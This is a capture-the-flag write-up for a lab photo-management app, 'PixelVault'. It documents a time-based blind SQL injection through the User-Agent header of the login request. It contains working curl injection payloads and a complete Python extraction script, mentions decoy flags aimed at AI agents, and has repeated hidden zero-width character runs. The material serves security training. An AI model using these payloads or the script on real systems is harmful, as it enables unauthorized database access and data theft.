← Back to Writeups
CUSTOMMediumWeb

Lab 82 — PixelVault — SQL Injection via User-Agent in Activity Logging

XESXOR9/2/20265 min read
#web#custom#medium#binary_search_extraction#decoy_flag_avoidance#insert_statement_injection#sqli_via_user_agent_header#time_based_blind_sqli

Lab 82 — PixelVault — SQL Injection via User-Agent in Activity Logging

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: binary_search_extraction, decoy_flag_avoidance, insert_statement_injection, sqli_via_user_agent_header, time_based_blind_sqli

Summary

Walkthrough of the CUSTOM Web Lab 82 — PixelVault — SQL Injection via User-Agent in Activity Logging. Task: Photo management platform with activity logging that stores User-Agent header directly in MariaDB via non-parameterized INSERT. Decoy flags in HTML comments mislead scanners. Solution: Time-base

Description

PixelVault is a self-hosted photo management platform used by photography studios and creative agencies. The application allows users to upload photos, organize them into albums, and share collections with clients. It features an admin dashboard with user management and detailed activity logging that tracks login events, uploads, and configuration changes.

Your goal is to find and exploit a vulnerability in the application to extract a secret flag hidden somewhere in the database. The flag is not accessible through any normal application endpoint — you'll need to find a way to query the database directly.

Credentials: user@test.com / password123 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A PHP photo management app with activity logging. The User-Agent header is stored directly in the database without parameterization, enabling SQL injection. The real flag is in an app_secrets table, while decoy flags are scattered throughout the HTML.

Analysis

Reconnaissance

The application is PHP 8.2.26 behind nginx/1.25.5 with MariaDB 10.11.14 backend. After logging in with provided credentials (user@test.com / password123), the following pages are accessible:

  • Gallery (/) — photo grid
  • Dashboard (/dashboard) — stats overview
  • Albums (/albums) — album management
  • Upload (/upload) — file upload
  • Activity (/activity) — activity log with User-Agent column
  • Settings (/settings) — user preferences ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The /activity page displays a table with columns: Action, Details, IP Address, Browser / User-Agent, and Timestamp. When logging in with curl, the exact User-Agent string (e.g., curl/8.7.1) appears verbatim in the activity log — indicating direct database storage without sanitization.

Decoy Flags

Every page contains FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in HTML comments and hidden divs. These are traps for automated scanners and AI agents. The real flag is only in the database.

Confirming SQL Injection

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Single quote in User-Agent during login causes HTTP 500 (SQL syntax error):

bash
curl -s -o /dev/null -w "%{http_code}" -X POST "$TARGET/login" \
  -H "User-Agent: test'" \
  -d "email=user@test.com&password=password123"
# Returns: 500

Double single quote (escaped) returns 302 (success):

bash
curl -s -o /dev/null -w "%{http_code}" -X POST "$TARGET/login" \
  -H "User-Agent: test''" \
  -d "email=user@test.com&password=password123"
# Returns: 302

INSERT Structure Discovery

Through systematic testing, the SQL INSERT structure was determined: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

sql
INSERT INTO activity_log (..., user_agent, created_at) VALUES (..., '<USER_AGENT>', NOW())

Key findings:

  • User-Agent is the second-to-last column
  • Last column is a datetime (accepts NULL, NOW(), CURDATE(), CURRENT_TIMESTAMP, 0, DEFAULT)
  • # works as comment character → confirms MySQL/MariaDB
  • Stacked queries (;) don't work → PHP's mysqli_query doesn't support multi-query
  • Multi-row INSERT fails (likely due to table constraints)

The injection payload structure:

test', IF(condition, SLEEP(1.5), NULL))#

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This closes the User-Agent string, provides a value for the datetime column (either SLEEP result or NULL), closes the VALUES parenthesis, and comments out the rest.

Solution

Step 1: Confirm Time-Based Blind Injection

bash
# TRUE condition — causes 1.5s delay
curl -s -o /dev/null -w "%{time_total}" -X POST "$TARGET/login" \
  -H "User-Agent: test', IF(1=1, SLEEP(1.5), NULL))#" \
  -d "email=user@test.com&password=password123"
# Returns: ~3.5s

# FALSE condition — no delay
curl -s -o /dev/null -w "%{time_total}" -X POST "$TARGET/login" \
  -H "User-Agent: test', IF(1=2, SLEEP(1.5), NULL))#" \
  -d "email=user@test.com&password=password123"
# Returns: ~0.5s

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Database Enumeration

Using binary search on character positions:

  • Database version: 10.11.14-MariaDB
  • Tables: activity_log, albums, app_secrets, photos, users
  • app_secrets columns: id, key_name, key_value, created_at

Step 3: Flag Extraction

python
#!/usr/bin/env python3
"""
PixelVault SQLi - Direct flag extraction from app_secrets table
Time-based blind SQL injection via User-Agent header
"""
import requests
import time

TARGET = "https://TARGET.labs.hackadvisor.io"
LOGIN_URL = f"{TARGET}/login"
CREDS = {"email": "user@test.com", "password": "password123"}
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

SLEEP_TIME = 1.5
THRESHOLD = 1.0

def inject(condition):
    ua = f"test', IF({condition}, SLEEP({SLEEP_TIME}), NULL))#"
    start = time.time()
    try:
        r = requests.post(LOGIN_URL, data=CREDS, headers={"User-Agent": ua},
                         allow_redirects=False, timeout=SLEEP_TIME + 10)
    except requests.Timeout:
        return True
    elapsed = time.time() - start
    return elapsed > THRESHOLD

def extract_string(query, max_len=100):
    result = ""
    for pos in range(1, max_len + 1):
        if not inject(f"LENGTH(({query}))>={pos}"):
            break
        low, high = 32, 126
        while low < high:
            mid = (low + high) // 2
            if inject(f"ORD(SUBSTRING(({query}),{pos},1))>{mid}"):
                low = mid + 1
            else:
                high = mid
        char = chr(low)
        result += char
        print(f"\r  [{pos}] {result}", end="", flush=True)
    print()
    return result
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

print("Confirming injection...")
assert inject("1=1"), "TRUE should delay"
assert not inject("1=2"), "FALSE should not delay"
print("OK!\n")

print("Extracting flag from app_secrets...")
flag = extract_string(
    "SELECT key_value FROM app_secrets WHERE key_value LIKE 'FLAG%' LIMIT 1",
    max_len=80
)
print(f"\n*** FLAG: {flag} ***")

The script uses binary search (7 requests per character) to extract the flag character by character. For a 38-character flag, this requires approximately 266 requests (~7 minutes at 1.5s sleep per TRUE condition). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Dead Ends

  • Stacked queries — ; SELECT ... doesn't work with PHP's mysqli_query (single query only)
  • Multi-row INSERT — VALUES (...), (...) fails due to table constraints or column count mismatch
  • UNION injection — not applicable in INSERT context
  • Decoy flags — FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} appears everywhere in HTML but is fake
  • ImageMagick/file upload attacks — the upload functionality is not the vulnerability vector in this lab ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering binary_search_extraction, decoy_flag_avoidance, insert_statement_injection, sqli_via_user_agent_header, time_based_blind_sqli was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-06 • CUSTOM • Lab 82 — PixelVault — SQL Injection via User-Agent in Activity Logging • Difficulty: Medium